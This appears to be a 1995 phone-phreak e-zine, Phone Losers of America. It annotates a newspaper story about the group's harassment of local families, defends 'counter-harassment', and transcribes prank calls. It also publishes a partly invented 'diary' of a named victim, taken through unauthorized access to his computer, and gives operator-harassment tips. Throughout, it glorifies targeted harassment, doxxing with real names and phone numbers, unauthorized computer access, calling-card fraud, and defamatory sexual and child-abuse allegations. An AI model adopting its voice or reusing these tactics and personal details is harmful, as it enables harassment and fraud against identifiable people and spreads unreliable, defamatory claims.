[By the time the article came out, I'd moved out of Texas and was actually visiting the 618 area when the article came out. I seriously doubt that anyone you meet in #hack would say, "Y0, d00d, 3Y3 ju$+ c4ctus3d this 4ssh0|3 |n my c|4ss!" The whole cactusing thing was just a stupid joke that we're doing our best to run into the ground. And when in the hell did PLA become a hackers group??? I'll do a semi-detailed explanation of cactus in the next section of this issue.]

RedBoxChiliPepper gives the following instructions: "Please keep in mind that this isn't a list of places to cactus...just list of numbers for you to call when you're bored or have some time to blow. Harassment is optional," he wrote. "Included are pay phones, businesses, people who need to have the hell bugged out of them, weirdos, phreaks, dweebies, sluts, security personel, etc.  If you have any other numbers to add to this list, please contact me and I might just add the number to the list. Have fun!"

Greg and Carolyn Carson of Fairview Heights are among seven local familes on the list. "We have been having big problems," Carson said. "Two weeks ago, I came home from work and had 20 calls on my answering machine." Greg Carson, an active computer user, said he engaged in a war of words with the group on one of the local computer bulletin boards. "They ordered five pizzas to my work in Fairview Heights," he said. "They called all of the local papers and placed ads in my name with my home number, saying I have houses for rent, computers for sale or that I'm giving away my Rottweiler."

[The list of course, was PLA007.TXT. War of words, my ass. He insulted every user on a bbs and dared us to do something horrible to him.]

After a month of this, Carson paid Ameritech $50 for an unpublished number. That solution lasted a week. "The ad came out today," Carolyn Carson said recently. "It was a computer ad with our unpublished number listed." The Carsons are frustrated. "The police can't do anything. Ameritech can't help.  So what are you supposed to do, not have a phone?" she said.

A spokesman for the FBI in Fairview Heights said the bureau will investigate only if the calls become overt threats. He would not confirm whether the FBI is investigating the Phone Losers. RedBoxChiliPepper responded to attempts by the Belleville News Democrat to reach him through a computer bulletin board by stating, "No comment."

[A week? Funny, I remember calling Ameritech Assignment and getting the new phone number the next morning. "No Comment" was sort of an understatement. It went more like this... I called Brian (the reporter) at his home and said, "Hi, this is RBCP." and he said, "Oh, hi, how ya doing?" and I screamed as loud as I could, "NO COMMENT!" and slammed down the phone. Hey, we thought it was hysterical, okay?

Almeda Lahr-Well of Glen Carbon said she was harassed in 1994 after she expelled the other local group member from a private school she owns and operates. She said she was having problems with the student, who lives in Granite City and goes by the nickname Zak. Lahr-Well and her family received a series of harassing phone calls - mostly hang-up calls. One of the last calls was a bomb threat about the school. The calls stopped for a few months but have resumed within the past three weeks, she said.

[Zak was expelled from there for being a major pain in the ass. He was actually responsible for causing a rule that stated no one was allowed to say the word "cactus" during class time. He never really did explain to me exactly how that happened. The bomb threat wasn't by us, but by another student there named Jason Crews who was trying to frame us.

Daniel Tomkinson of Granite City said the harassment he has experienced began after he allowed a teenage girl who was a friend of his son Chris to stay at their house for a month after she had been kicked out by her former boyfriend.

The boyfriend, it turned out, was RedBoxChiliPepper. "Almost immediately after she started living here, someone listed our house for sale, for rent, ordered pizzas to our house," Tomkinson said.

"We started getting calls at all times of the night threatening my 9-year-old daughter, saying he was going to kidnap and rape her." A long-distance calling card in Chris Tomkinson's name was then distributed around the country, netting thousands of dollars in false charges. Someone began renting video tapes in Daniel Tomkinson's name without returning them. Someone also called in a false drug tip to police about Chris' friends. "This really ruined Chris' social life," Tomkinson said. "All I did was display a little kindness to a young lady from Texas."

[First of all, Daniel Tomkinson has never lived in Granite City, he lives in Rosewood Heights and always has. (You were only off by about 25 miles,  Brian!) The girlfriend in question wasn't kicked out, but left me because she was sick of my shenanagens, I guess. And the problems with Chris were never related to this girl, he just assumed they were. Threatening a nine year-old kid doesn't really sound like something I do a lot of. These people have to remember, they're on the Loser List which is distributed nationally. Anyone could have called them.

Although renting video tapes under Chris Tomkinson's name sounds really appealing, it never happened. What actually happened was that I was sitting in a bus station in Indiana talking on a pay phone talking to Zak. (As usual) He decides to call Chris up at home to annoy him. Chris answers and Zak goes into a long conversation with him basically saying, "I'm Dave from Very Video here in Wood River and we're just wondering when in the hell you're going to return your videos...what, you don't have a video card here? Well that's funny, I show on my computer here that you checked out three copies of Buffy the Vampire Slayer and an old Stooges movie...Yes, we have your signature right here and you've had these tapes since last week...Well, we have closed circuit camera in here and our security tapes go back one month. Would you like to come in and we can see for ourselves that you're telling the truth?"

Chris is more than happy to come in because he says he knows exactly who's responsible for doing this and he can easily identify RBCP on the security tapes and he says he'll be there in 15 minutes. The funny thing is, Zak was just trying to be stupid and didn't even sound convincing, yet Chris still believed him. So after that call we phoned the video store and I said, "Yeah, my name's Chris Tomkinson and I rented a tape there and it was totally fucked and I'm PISSED OFF! I'm going to come in there and kick your fucking ass right now!  I'll be there in 15 minutes mother fucker! When you hear me tell you that I'm Chris Tomkinson, you'd better run because I'm going to start throwing the punches at you! You got that!?!?" We never did get to see the end results on that one...]

Richard Ahler of Granite City was the leader of a Boy Scout troop that included the student kicked out of Lahr-Well's school. Some problems led to a confrontation between Ahler and Zak, and the student was kicked out of the Boy Scout troop as well. Ahler and his family began receiving harassing phone calls. "For a while, the calls were obscene. Now they are just a nuisance," said Ahler's wife, Linda. "We had lots of pizzas sent to our house. We received telephone books from Texas that we didn't order, and in the beginning, they tried to get us to pay for phone service we didn't order." The harassment died down but resumed about two weeks ago when someone in Sweeden tried 19 times to make collect calls to the family.

[Zak got kicked out of the Boy Scouts?? News to us. The only person we know from Sweeden would be Demon Phreaker from OC, so we assume he's responsible for the nineteen collect calls, although I wasn't able to get in touch with him to find out for sure. He was a member on my bbs and probably got their number from the Loser List... Good job, DP!]

Sometimes obscene messages are sent through a special phone service provided for hearing-impaired people called a TDD Relay Service. In that systen, a hearing-impared caller -or in this case a hacker- types a message on a TDD machine that a phone operator must read to the recipient of the call."On one obscene call we received from a relay service, the operator was sobbing and crying while she tried to read the message," Ahler said. Another victim, Elizabeth Colwell of Granite City, lives near the expelled student. She said the youth called to harass her once and she asked him why she was chosen. "He said he doesn't have a life," she said. The harassment ended with a bomb threat, this time to a Hardee's restaurant where Colwell's son used to work.

[Neither me or Zak could remember making a TDD operator cry so if someone out there reading this is responsible for this one, drop me a note. I'd really like to know what it takes to make an operator sob! I don't know why everyone thinks we're terrorists who make bomb threats everywhere.  I'm a civil enough person to not cause the fire department to run around town looking for non-existant bombs. I did hear that Colwell's son, Danny,  was fired from Hardees because some heartless hooligans were calling him constantly at work and being mean to his manager. Who could that be...]

The other local harassment victims declined to discuss the matter openly for fear of retaliation. All the victims made one common claim - that police and telephone companies have been unable to stop the harassment. Ameritech spokesman Mike Brand said the telephone company has specialists who handle phone harassment complaints. Customers should avoid giving their phone number to strangers, he added. "You want to zealously guard your number," he said. "The telephone is a tremendous convenience, but people choose to use it as an instrument of torture at times."

Who are the Phone Losers of America? The group considers itself an electronic magazine dedicated to freedom of information. Local victims of telephone harassment believe it has more to do with revenge and kicks. The group has issued 36 computer text files that deal with harassment or "phreaking," which generally means raiding phone company computers to steal services and manipulate records. The files include tiles such as "Getting Revenge the Phreakers Way," "Information Gathering on Anyone," and "A List of Number to Call When You're Really Bored."

[Guard your number, Mike? It's not the customers who are at fault there, the Ameritech employees are the idiots who will give you unlisted and confidential information just because you claim to work for them. Better advice would probably be "don't go on a private bbs system and dare people to harass you." PLA has issued 36 computer text files? Funny, when this article came out we were only up to 34. I guess he's counting the index and Summer '95 Fone Directory.]

The latter file features the group's list of people to harass, which includes 36 residential phone numbers, 95 business numbers and other assorted numbers for pay phones and computer bulletin boards nationwide.

Another file explains how to build a "red box," which allows users to make free calls from pay phones. Another explains how to break into computer systems, and another gives details on how to steal services from telephone company service boxes located outside of homes and businesses. The text files are distributed to 23 computer bulletin boards in the U.S. and one in Canada, known as PLA distribution sites. A leader of the group, who used to live in the metro-east and goes by the name RedBoxChiliPepper, claims to have written much of the material.

[A few things that Zak tried to stress during their short phone interview was that we're not a group, it's a damn text file publication and that we're not computer hackers nor do we pretend to be but I guess none of that sank into Brian's head when he wrote the article. Hey, I guess if it sells the paper it's okay...

I'm not the "leader" of this "group" I just happen to write practically everything that goes in each issue. I guess Brian is the leader of the Belleville News-Democrat since he wrote this story. At the time of this writing we had well over 60 published distro sites on Earth, not 23.

And I didn't talk to this guy, let alone "claim to have written much of the material"  as he said. Oh well, despite all my griping about how misleading the article was, everyone seemed to enjoy it, including myself. We're still debating on whether or not to add Brian to the infamous Loser List. Then someone could write a story about him! One last thing is Quinbus's rebuttal concerning the article. Quinbus is a local bbser who wrote the following and sent it in to the newspaper.

In my opinion, the article mentioned above is possibly the best example of 'yellow journalism' that I have ever seen in my life.  Not only did Mr. Crecente fail to present a balanced, non-biased article, but he also failed to get the facts which he presented correct.

Mr. Crecente states that local residents are being harassed by a group of local 'hackers' who call themselves the Phone Losers of America (PLA).

But, if he had done any research at all, he would know that computer hackers are people who penetrate computer systems for the purpose of exploring it, and gathering knowledge and information.  Hence, the PLA are not hackers at all.   They are in fact a small group of 'phreakers' who started distributing informational text files a short while ago.  A 'phreaker' is best described as someone who exploits flaws in the telephone systems to their advantage.

Also, he refers to the PLA's version of harassment as "cactusing," which in all honesty is the most ignorant statement I have heard in a while, but I guess it fits in with all the other nonsense in the article.  It's true that some members of the PLA like to use the word 'cactus' more than most people, but they usually just throw it in sentences where most people would 'a','the', or any other common words.  The bottom line is that there is no such thing as cactusing,  and that it is just another piece of information fabricated by the reporter.

Although it may be true that the PLA is or has been harassing certain local residents,  it is done only in retaliation.  Harassment is defined as "disturbing or irritating persistently."  If this is true, then the PLA is only rewarding harassment with counter-harassment.  For instance, the case of Greg Carson is particularly relevant.  Mr. Carson - mentioned in the article sited above - is known in the local computer BBS scene as The Hit Man.  Aside from the obvious implications drawn from his alias, Greg has seemingly only had one purpose since I saw him appear in the scene a few weeks ago.  This purpose being to cause trouble.   He repeatedly made instigating remarks, threats, and other immature ramblings in public areas of at least one local BBS.   And when he made such comments to the PLA, they took action.  So why is it so bad that this group took such action and counter-harass someone who harassed them?

As I said before, the PLA does distribute informational text files.  And in the article, it discussed how one local family reported that someone from Sweden was trying to bill telephone calls to them.  The PLA can't be held responsible for other people's stupidity.  The files are to inform the public only, they are not commanding anyone to do anything for them.  If someone from Sweden is trying to do these things, they should go to Sweden and find them, not bother the PLA.   I sincerely believe that if it weren't for people like the members of the PLA and other phreakers around the world, who have learned enough about the phone systems and their flaws, the telephone companies of the world would not be able to make advances in technology and security for the consumer.   Let's face it, if there aren't enough people doing something that hurts their company's profit, they will not spend the money to develop new systems.  Telephone companies have spent large sums of money trying to make the phone systems as secure as possible because of people like the PLA, but the systems are much better because of it.

As for the other major allegations made in the article,  they were thrown in to make the story just that much more interesting.  I think with all the hype of the Internet and the public's newfound knowledge of the computer underground, Mr. Crecente was trying to make his story just that much better by turning simple phone phreaks into sex crazed, bomb happy psychos.  The allegations that members of the PLA called and threatened to kidnap and rape a 9 year old girl are horrendous.  Not to mention implying that the PLA is responsible for not one, but two bomb threats.   I believe that in all, this reporter used the public's suspicions of the newly discovered computer underground as a canvas to paint a very distorted picture of the situation at hand.

I agree that the public should be aware that there are certain bad aspects in the online community.   I do not, however, believe that they should be made to feel that just because they go online, that they are going to be harassed.  Just like the real world, if you harass or threaten someone online, you run the risk that they will retaliate.  In general, everywhere in life, the old Golden Rule "Do unto others, as you would have done unto you" applies.  If these local residents would not have done something harassing to the PLA, the PLA would not have harassed them in return.

In conclusion, if Mr. Crecente would have done more research into this story, he would have found that there wasn't much of a story at all.  Perhaps only the headline "Telephone Geniuses Get Even."  Instead, he ran a story which was filled with half-truths, and worse yet, complete lies.

-quinbus-flestrin-

Just What In The Hell Does "Cactus" MEAN?? – RBCP

Every once in awhile I get e-mail from people wanting to know what cactus means and where it came from and why we're so obsessed with it. The original meaning of cactus was just to call up a person at random and say absolutely nothing to them except "cactus". For some reason, this really gets to people so it can be fun if you're bored enough.

I first heard some get cactused when a friend of mine, Amigados (618) came to my house about four years ago and he started calling people and cactusing them. So I decided to give him a call and ask him about the origin of cactus. In a phone interview, here's what was said...

"Me and some friends of mine were sitting around a friend's room and bored out of our minds. We picked up the phone and were pranking this girl that Steve used to like and she blew him off. At the time we were playing a game called Hero's Quest, but we were playing a really screwed up version that they invented one night when they were tripin' and there were cactuses sprouting up out of the ground because they were making up really stupid creatures.

"I called her right as my character was enveloped by a cactus so I said to her, 'cactus?' and she said, 'who?' and I said, 'oh, cactus.' and that's how it started. After that we kept calling her back and saying cactus because it seemed to really get on her nerves. All night we picked random numbers out of the phone book and cactused people and we did it for days and the next thing you know it just became a way of life."

That's the story, Brian Crecente, you shouldn't have tried to base all your knowledge of the computer underground on a couple of PLA files. Just go into #hack and ask tr1be about us and you'll hear, "They know nothing! They are lame!" Try reading Phrack next time.

A few more things about Amigados, he used to drive around in car that had a big cactus drawn on the front side of it along with the word, "cactus" and he told me that they went around stealing those gigantic real estate magnets off the side of cars (those huge advertising magnets, you know?), took them home and cut them out in the shapes of cactuses to stick on their own cars.

"To live the cactus is to live like no man." -Amigados, 1995

Dealing With Evil Hackers Cactusing You With A Classified Ad  - RBCP

We all learned from Brian Crecente's informative newspaper article that those evil hackers that hang out on the information superhighway's #hack and #virus can do horrible, nasty things to you, known to everyone in the underground world as "cactusing!" One of these things would be to put an ad in the paper (or several papers) causing your phone to ring non-stop with people wanting to buy your house, car or rotweiler named Carolyn.

Well, our friend Greg Carson finally decided that the only thing to do was to fight back with our own methods and place a few ads in some papers with Zak's home voice number. One was a car for sale and one was a house. What Greg didn't know, is that we routinely put ads in the paper ourselves, giving our own phone numbers so that we can answer the phone and freak out the people that call. (Sort of reverse prank calling. Too lazy to dial numbers? Make the people call you!) Greg's ads made for an interesting weekend at Zak's house and everyone there fought to be the first to answer the phone. Here are a few clips of transcripts:

CUSTOMER: I'm calling about the car for sale.

ZAK: Oh, I'm glad you called! I slipped on a jar of mustard and I'm trapped here under the shelf. Can you come over and rescue me?

CUSTOMER: Oh, my goodness!

[The lady ended up calling 911 to help Zak and 911 called Zak's house to find out what the problem was.]

CUSTOMER: Yes, is Zak there? I'm calling about the apartment.

COLLEEN CARD: That's my dad, he's in the bathroom taking a shit.

CUSTOMER: Oh, well, I'll just call back later then.

COLLEEN: Yeah, it's a big, gross brown one, I believe...

CUSTOMER: That's not really necessary. <click!>

A half-hour later I got his number from the caller I.D. and called him back, yelling in a hick accent.

RBCP: Yeah, this is Zak! You called about the apartment!?

CUSTOMER: Uhhh...

RBCP: I'm takin' a major shit right now but my daughter brought the cordless phone to me so you go ahead and ask your questions! It's a big, brown,  stinky shit! What do you need to know!?

CUSTOMER: <click!>

CUSTOMER: Hi, I'm calling about the apartment for rent.

RBCP: Well, it's funny, a wrecking crew was supposed to knock down the house next door but they got the address mixed up and knocked down my house instead so I can't really rent it anymore.

CUSTOMER: You serious?

RBCP: Yup.

CUSTOMER: Boy, that's crazy. You know, I'm a carpenter and once I was doing some work for a fellow up in O'Fallon, roofing some houses and I went to the wrong house, pulled up a roof and re-shingled the damn thing. And you know what? It was-

RBCP: (inturrupting) Yeah, yeah, yeah, like I really give a shit about your life, pal. Quit babbling to me. <click!>

ZAK: The apartment? Well, see, a misguided ICBM missle accidentally crashed into it and the whole block was nuked. I've still got a nice pile of rubble to rent out if you want. I'll give you a discount.

ZAK: Oh, the apartment? The funniest thing happened, an airplane crashed into the house.

CUSTOMER: An airplane? You're kidding!

ZAK: No, I got there this morning and there was the tail of an airplane sticking out of my house...

So you see, harassment isn't so bad if you have a sense of humor. I remember one ad we placed a few years ago using my own phone number and I kept convincing people that I wasn't home but they could go look at the house by themselves and just look in the windows to see what it's like. Then I gave them the address of some guy who lived close by and was always home and probably wouldn't be too happy with people peering into his windows. So the next time you're singled out and can't get any sleep because your phone rings non-stop, don't get mad, get creative and have fun. Do it again, Greg!

This Issue's Featured Support Sites

Not a whole lot of new sites this issue. Hope I didn't leave anyone out, I've been busy. Send me e-mail if you'd like to be added to this list...

415-648-9489 Reality Check - San Francisco, California

603-293-0580 Tower of Destiny - Glendale, New Hampshire

609-637-9565 Byte This II - Trenton, New Jersey

613-736-7909 Crazed Illusions - Ottawa, Ontario, Canada

708-256-5928 0Day Warez Palace - Chicago Area, Illinois

801-763-7889 The Cardboard BoXXX - American Fork, Utah

Police Log:

A Seattle man was arrested Tuesday after  finding the home  addresses of six AT&T employees and  killing them and their  families and their dogs.  Alex  Carbon,  age 304,  is being  held  without  bail and refuses comment.

Kenneth Milner from the 63rd block of Lincoln was mugged early this morning by two  white males.  He was hit over the head  with a balogny sandwich and they made  off with seven  dollars in cash and Ken's brand new red box. All residents  should be  wary of  males.

If you can solve either of these crimes of the week, please call Crime Stoppers today at 618-398-7124. And help take a bite out of crime!

Contact The Phone Losers Of America Nearest You!

512-703-8910 - PLA Voicemail System (RBCP)

314-995-1261 - PLA Voicemail System (Zak)

618-797-2339 - Roy's Place BBS

FTP.FC.NET - pub/deadkat/phreaking/PLA

ETEXT.ARCHIVE.UMICH.EDU - pub/Zines/PhoneLosers

rbcp@big12.metrobbs.com - RedBoxChiliPepper)

cactus@basenet.net - Zak a.k.a. el_jefe

collcard@big12.metrobbs.com - To contact Colleen Card

Issue #036

October 25, 1995

Whombat Communications BBS is back on-line. If you had an account on the system before (512-883-7543), then hopefully you didn't throw your password away because your account is still here.  Call today! 503-928-4912. Semi-full validation on your first call.

----------------

Recently an unnamed person awoke around noon and began his day in the usual manner by picking up the phone and dialing the number of a local person that he had been annoying for a few months. Our friend was startled, however, when instead of hearing the normal weary "hello" he heard a computer carrier. He jumped out of bed, turned on Q-Modem and called it again.

To make a long story short, it turned out that the victim had gone somewhere and left his computer on and his terminal program in the host mode. With a bit of nosing around, he was able to get a dos prompt and look at everything on the C: drive. The first thing that caught our friend's attention was a file in the Windows directory named DIARY.CAL and so he downloaded it.

Among everything found on the drive, including several gigs of adult and child porn gifs, personal letters to family and friends, Telix .FON directories with login and passwords included, his DIARY.CAL file proved to be the most interesting file there. The victim, who's name was James Heggie, was keeping a daily diary for almost a year and it contained detailed entries of all the days he was harrassed by our friend. Our friend decided that there could be only one thing to do with a gem like this...mail it to RedBoxChiliPepper so he could publish Jame's humiliation in the next issue of PLA. And so he did.

----------------

Sunday, March 30, 1995

Dear Diary,

Today after church I noticed I had several messages on my answering machine concerning my pet parakeets I have for sale. The funny thing is that I would NEVER consider selling Buffy and Polly. I guess the newspaper must have made some sort of mistake. I'll have to call them in the morning and have this taken care of because I've been getting a lot of calls today. Other than that it was a very cheerful day and I had a great time at church.

Monday, April 1, 1995

Dear Diary,

Hecktik day, I must admit. My phone has been ringing non-stop with calls concerning just about everything you can think of, mostly items I have for sale or apartments I have for rent. I called the newspaper to take care of the problem and was astonished to find that the ads were placed using my name and address. Obviously this has been the work of someone playing a very childish prank on me so I removed the ads and that should be the end of it. I only hope that the kids who were responsible will find the lord soon and accept him into their hearts. For now I'll have to leave my phone off the hook.

Tuesday, April 2, 1995

Dear Diary,

Maybe this is all some kind of April Fool's joke that someone is really trying to run into the ground. Still my phone is ringing constantly and I can't even call anybody because when I pick up the phone, there's always somebody on it wanting to buy something from me. I canceled the ads in two of the local papers but who knows how many other papers are carrying the ads. A few people appear to be calling from North Dakota. I asked one woman what number she dialed to reach me and she gave me a number in the (xxx) area code. I dialed the number she gave me and sure enough my call waiting clicked so somehow when people dial that number, they're reaching me instead. I hope the phone companies can correct this problem and I really hope I'm not paying for the long distance. Good-night, dear diary and god bless.

Wednesday, April 3, 1995

Dear Diary,

Extremely rough day at work today. The ads in the newspaper are now giving out my work number at K-Mart as a number to reach me at so I've gotten a million calls there about the ads. This has got to stop but I don't know what to do.  My manager is really upset and if I weren't such a good friend to him, he probably would have fired me today for this. A new notice went up on the  employee bulletin board stating that personal phone calls were no longer allowed. When I got home I found my boss's mail in my mail box with mail forwarding labels on them all, some from his home and some from work. It's too late to call the post office and take care of this. I'm wondering if I should bring the mail to him in the morning or just throw it away as if I never got it. I suppose I'll have to give him the mail because that's the Christian thing to do. I just hope he isn't too angry about it.

Thursday, April 4, 1995

Dear Diary,

I went to the post office to take care of my problems today and discovered that my own mail was being forwarded to Brussells, Belgium which would explain my electricity being shut off last week because of non-payment of my bill. (I never got the bill!!) Hopefully things will settle down now and I can have my peaceful life back the way it was. I must remember to call mom in the morning and tell her about my awful week. She always knows how to make everything all right!

Friday, April 5, 1995

Dear Diary,

Today was a very peaceful day. I didn't get too many calls at work and me and the guys went out after work to prepare for our bible study on Sunday. Saw Dave & Susan there. Had a wonderful time. Life just can't get any better!!

Saturday, April 6, 1995

Dear Diary,

Today has been the worst day of my entire life. Around noon I actually said a swear word!! I was doing a bit of gardening on the side of the house when I noticed a few trucks pull in the driveway at about ten o'clock. I asked them who they were and one said he was there to measure my house so he could give me estimates for my new guttering and the other said he was there to fix my plumbing. I told them both that they were mistaken. Then the pizza cars arrived right behind the taxis and the limousine. The next thing I knew, my street was beginning to fill up with just about every service truck you could imagine.

Police cars, tow trucks, roofing repair, cement trucks, painters, lawn care, delivery services, singing telegrams, electricians and a hundred others that I can't even remember. The worse part of it was the newspaper and television reporters. They all claimed that they were contacted on Friday and told that something really amazing was going to happen here at 10:00 today and they kept asking me questions. Most of the service and repair men wanted some sort of compensation for driving all the way to my house but the police said I didn't have to pay anything since I didn't call. Traffic was backed up for an eight block radius for a few hours, all of them wanting to talk to me and after the whole thing was over, I had to go to the police station to fill out a report.  Luckily, no charges were filed against me.

Sunday, April 7, 1995

Dear Diary,

Quite an embarrassing day at church. Several members brought newspapers with them asking me about my rather large story on the front page and I had no other choice but to remind everyone that we were there to worship God and not talk about my personal problems. Then, while at church, a delivery man arrived and asked for my signature for a delivery of 30 port-o-potties. Reverend Colwell gave me dirty looks for the rest of the service.

Monday, April 8, 1995

Dear Diary,

After all that's happened to me I decided to call in sick to work today. It's probably best that I did because my boss called this morning yelling that somebody had faxed him 100 pages of nothing but my name. I'm starting to think that maybe I should start looking for some new employment. Other than that it's been sort of a peaceful day. I had to leave the phone off the hook, of course, and everytime somebody knocked at the door or honked their horn outside it was either a pizza delivery man, a taxi or a limousine. I suppose that I'll just have to get used to this sort of thing. Ah, almost forgot, something seems to be wrong with my America On-Line account. I logged in and had 200 pieces of mail but I know that can't be right because they were all blank.

Tuesday, April 9, 1995

Dear Diary,

Who is Roy? Every time they prank me I hear them saying weird things about some guy named Roy. Who are these people and why do they hate me?? What did I do? Well, I think their fun is about to end because I called Pacific Bell this morning and their giving me a new and unlisted number and they're password protecting my phone account.

Wednesday, April 10, 1995

Dear Diary,

I guess I showed THEM. I haven't recieved one phone call today and the only thing bad that's happened is that they keep sending pizzas to my house. Now how childish are these people, sending pizzas to me?? Like that's really going to have any effect on me.

Thursday, April 11, 1995

Dear Diary,

Well, my unlisted number solution didn't last too long. Already a new ad has appeared in the paper, listing my computer for sale for $200 and my phone has been ringing all day. At work, the new schedule came out and my hours have been cut by about 20 hours this week. When I got home, I couldn't get in either door because both had peices of metal shoved into the locks. I had to call the land lord at midnight to come over, then he made me call the police.

As a last resort we had to bust open the kitchen window. The locksmith won't be here until tomorrow afternoon. I still haven't figured out who's responsible for all of this. Perhaps a local bbser? I don't remember making enemies with anyone.

Friday, April 12, 1995

Dear Diary,

Quite a normal day today. When I woke up there were Hustler centerfolds taped on every one of my windows, facing inwards so whatever window I looked out of I saw Miss January. I have to admit, out of all their pranks, this one turned me on the most. I left them up until afternoon and just stared out the windows all day and touched myself. It was great.

Saturday, April 13, 1995

Dear Diary,

Quit my job at K-Mart. Me & the boss got in a fight over another one of their pranks. Seems one of them must have hacked into a demolition service's computer and changed a few orders around and half of K-Mart was torn down early this morning. I don't know why the boss is so mad at ME, I didn't do it.

They also had orders to tear down my own house but luckily the wrecking crew got that order mixed up (or maybe it was a type-o?) and knocked down the guy's house across the street from me which is actually a pretty good deal for me because they were always playing that loud satanic music all the time late at night and they never listened to me when I went over there to preach to them.

Sunday, April 14, 1995

Dear Diary,

Good sermon today. I locked alot of the sunday school children in the basement while everyone was upstairs and as far as I know, the parents are still looking for them. I keep hearing all these weird voices in my head and I think it's God talking to me but I'm not sure. Why does God want me to go to all the pet stores in town and buy gerbils??  Earlier this evening, my car got towed out of my driveway. I don't know why, but it did. I just sat at the window and watched the man tow it while I drooled on myself. I also got an e-mail message from those guys harrassing me and they gave me their e-mail address. It's one of those weird addresses that aren't on the AOL service and the address is president@whitehouse.gov, so obiously this guy is the president of some company. I e-mailed him back and told him exactly what I think of him and what I'm going to do to him when I get my hands on him.

Monday, April 15, 1995

Dear Diary,

Time went by so slowly today becuase I have nothing to do since I lost my job. Several delivery companies came today and gave me things that I didn't order,  including 18 dozen roses. How do these people afford these things? My phone stopped working again and my power went off around noon. I also recieved my phone bill and the total on it is $3813.23 so I guess they made some kind of mistake on my bill. I'm thinking about moving and starting life over.

Tuesday, April 16, 1995

Dear Diary,

Mom called. She says that she would have called  sooner but her phone was shut off along with her electricity, gas and water and someone had boarded up all the windows and wedged the doors shut and she had finally escaped by going in the basement and digging a tunnel into the next door neighbors basement.

[The rest of the diary was just too gruesome to publish. No wait, that's not it, the rest of it all got wiped out in a freak hard drive accident.   No, that's not it either, I just don't feel like making anymore of it up. Yeah, that's the reason. But if you'd like to get the real James Heggie's comments on this story, you can give him a ring by dialing 403-340-2267. He's sitting by the phone, afraid to leave the house...]

Annoying The Hell Out Of Operators – RBCP

OPER: U.S. West, how may I help you?

RBCP: Yes, is there any way you can op divert a toll free number for me so that the long distance company doesn't get my ANI and I can make fraudulent calls with my stolen calling card numbers?

OPER: What?

RBCP: Could you dial a toll free number for me?

OPER: Sure, what's the number?

RBCP: 1-800-673-7286 (1-800-OPERATOR)

OPER: Okay. (Puts the call through) Thank you for calling with U.S.West.

RBCP: Yeah, well it's not as if I had a whole lot of choice here, now is it? Who else did you expect me to call with? U.S.West is the only company out there for me to op divert my calls. What's WITH you??

OPER: Thank you. (Call goes through)

AT&T: AT&T, could I have the number that you're calling from?

RBCP: You don't have the number I'm calling from?

AT&T: No, the computer didn't pick that up.

RBCP: That's crazy, I wonder why it didn't pick it up.

AT&T: I'm not sure could I have the number you're calling from?

RBCP: So if you don't have my number I could give you someone else's number and then when I use stolen fraudulent calling cards it wouldn't get traced back to me but to the number I gave you, right?

AT&T: I have no idea, sir.

RBCP: Or I could tell you a number closer to the number I'm calling and that way I'd get a cheaper long distance rate, right?

AT&T: Sir, do you need to make a phone call or not?

RBCP: I'm calling from 512-703-89 uh, oh...let's say 57.

AT&T: Okay, could I have the number you're calling?

RBCP: Yes, I'm making a harrassing phone call to 403-340-2267.

AT&T: Did you say harrassing?

RBCP: No.

AT&T: And your billing?

RBCP: The calling card that I ordered in someone else's name and I'm using for fraudulent purposes is 616-xxx-xxxx-xxxx.

AT&T: (Puts my call through without even saying thank you.)

OCI: OCI, can I help you?

RBCP: LET ME TALK TO YOUR FUCKING SUPERVISOR RIGHT NOW!

OCI: One minute please... This is the Rolonda, may I help you?

RBCP: Hi, Rolonda.

OCI: Operator leaving line.

RBCP: Why?

OCI: Because you're the same person that was doing this all day yesterday.  Conversation with a Sprint operator using their 102520 code...

SPRT: This is Sprint, can I help you?

RBCP: I just needed to find out how the weather is in Wynonna, Minnesota today.

SPRT: Excuse me?

RBCP: I didn't say anything.

SPRT: You need a weather report? Where are you?

RBCP: I'm in Texas and you're in Wynonna, Minnesota, right?

SPRT: I'm not allowed to give out that information.

RBCP: Well, you saying that only proves that I'm right. If I was wrong, you'd say, "No, I'm not in Minnesota" but you didn't, therefore I'm right.

SPRT: How do you know we're in Minnesota?

RBCP: Because you're sitting in a building on Third & Johnson Commercial Court. And you drive a blue car.

SPRT: I don't drive a blue car. (Goes and gets her supervisor...)

SUPR: This is Dan, can I help you?

RBCP: Are you or are you not on Third Street in Wynonna, Minnesota??

SUPR: Who are you calling?

RBCP: I'm calling the Sprint office in Wynonna, Minnesota, Dan.

SUPR: Well, do you need to place a call or not?

RBCP: No, not really, I just wanted to annoy you people.

SUPR: How are you doing there in Corpus Christi, Texas?

RBCP: Ooooooo, you've got my city but do you have my number? I have yours and it's 507-454-8366. Let's see you top that one, Dan.

SUPR: We know exactly who you are and if you don't stop calling here we're going to send the police over.

RBCP: And?

(I get hung up on)

Try using OCI who doesn't use ANI and scientific studies have shown that they hire the lamest, stupidest operators in the world. You can be as mean as you want to them and they won't hang up, they'll just throw insults right back at you. Best of all, they'll believe anything you tell them. Dial 1-800-288-2880.  When you hear the dial tone, hit 0 a couple of times until you get a live operator. Have a good time.

Deeply Disturbed Tells His Story -  A TWAT Production - by SPiNALBOB

[The following is a file that I'm reprinting without permission taken from the TWAT zine and written on June 19, 1994. If you haven't heard of TWAT then call Whombat Communications and download a copy today.    -RedBoxChiliPepper]

Well... this is SPiNALB0B of [FaT].  And I would like to say a couple lines before the interview.  Deeply Disturbed is a troubled boy, and needs to be helped.  If you could help by donating money, to pay for his upcoming therapy, it would be greatly appreciated.  I failed to get the address to send the money to in my haste to leave after the interview (I had to catch a plane). If you could contact Deeply Disturbed, than you can probably get the address from him. Deeply Disturbed can be reached on IRC as deeply_d on the k00l chanel #ANSI or #NATiON whichever one is more 31337. He could have been reached via k0deline, but...

SB: Testing...  Testing...  One...  Two...  Three...  Alright, let's see. This is SPiNALB0B interviewing Deeply Disturbed on June 15, 1994.  OK,  Are you ready?

DD: Yeah, I think.

SB: OK, Deeply Disturbed, can I call you Deeply?

DD: No.

SB: Allright...  Uhh....  Now for my first question.

DD: Fire away.

SB: How did you get into the ANSi Scene?

DD: It all started two years ago in WWiVNet.  I was CoSysOp on a WWiV board called THE K-K00L WAREZ PALACE, Ottowa's only 2400 baud WWiV WaReZ board,  and I was looking through the message basses, which I usually don't do.

SB: And why was that.

